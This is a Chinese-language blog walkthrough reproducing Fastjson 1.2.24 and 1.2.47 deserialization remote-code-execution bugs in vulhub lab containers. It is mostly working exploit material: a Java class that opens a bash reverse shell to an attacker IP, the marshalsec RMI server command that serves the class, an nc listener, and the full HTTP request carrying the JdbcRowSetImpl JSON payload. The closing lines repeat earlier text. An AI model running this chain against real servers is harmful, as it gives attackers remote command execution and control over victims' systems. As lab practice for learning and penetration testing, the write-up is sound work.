vulhub-Fastjson漏洞复现
vulhub fastjson 1.2.24 反序列化漏洞 复现
漏洞简介
首先要知道 Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,也可以将 JSON 字符串转换为 Java 对象
因此黑客可以利用这点构造恶意payload
**目标网站在解析 json 时,未对 json 内容进行验证,直接将 json 解析成 java 对象并执行,**攻击者构造对应的 payload ,让系统执行,就能达到代码执行,甚至命令执行的目的。
漏洞环境搭建
kali上直接搭
docker-compose up -d
复现
先用burp抓包
然后更改请求方法 get方法为post
再修改content-type 为 application/json
然后再随便传json格式的参数看看有无回显来判断漏洞是否存在
证明存在fastjson漏洞
反弹shell
在vulhub下的fastjson 1.2.24文件夹下新建TouchFile.java文件
内容如下
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.131.131/6666 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
编译java文件
然后把编译好的class文件传到外网系统中,我这里直接在kali上开一个http服务
python -m http.server 4444
使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类TouchFile.class
首先安装maven
参考文章:kali linux安装maven_kali安装maven-CSDN博客
安装好后
git clone https://github.com/mbechler/marshalsec
安装marshalsec
克隆失败的话就去下载压缩包然后复制过去解压
mvn clean package -DskipTests
等待编译成功后进入target目录
开启RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.131.131:4444/#TouchFile" 9999
另起一个终端开启监听
nc -lvvp 6666
回到8090端口抓包
POST / HTTP/1.1
Host: 192.168.131.131:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 167
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.131.131:9999/TouchFile",
"autoCommit":true
}
}
发送请求
成功
总结
这里要注意一点就是jdk版本要统一为1.8
mvn项目要1.8
而且touch.java 在用javac编译时 javac也需要是1.8
如果版本不统一会导致后期反弹shell弹不上
还有就是端口要打开 否则流量过不去也是扯淡。
fastjson 1.2.47-rce漏洞复现
漏洞原因:
具体分析见文章:Fastjson <=1.2.47 远程代码执行漏洞分析-安全客 - 安全资讯平台 (anquanke.com)
攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令
漏洞搭建
同样是vulhub上docker-compose up -d
复现
验证漏洞
抓包
改请求方法
改content-type
存在漏洞
与前面复现漏洞一样 也需要maven编译的marshalsec
环境在复现上一个漏洞时都弄好了直接用就好
反弹shell
创建touchfile.java文件
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.131.131/6666 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
和前面的一样
然后编译
在kali上一个http服务,当作外网服务器把
开启rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.131.131:4444/#TouchFile" 9999
另起一个终端 监听
burp上构造好json语句
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.131.131:9999/TouchFile",
"autoCommit":true
}
}
成功
这个1.2.47和1.2.24差不多
都利用到了rmi
Java远程方法调用,简称Java RMI(Java Remote Method Invocation),是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。
RMI远程调用步骤
工具利用
实际渗透测试一般利用工具多一点 方便嘛
GitHub - Maskhe/FastjsonScan: 一个简单的Fastjson反序列化检测burp插件
不做讲解了
特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。
RMI远程调用步骤
[外链图片转存中…(img-7jqxRGY6-1712578551748)]
工具利用
实际渗透测试一般利用工具多一点 方便嘛
GitHub - Maskhe/FastjsonScan: 一个简单的Fastjson反序列化检测burp插件
不做讲解了
[外链图片转存中…(img-0MSGEZSY-1712578551748)]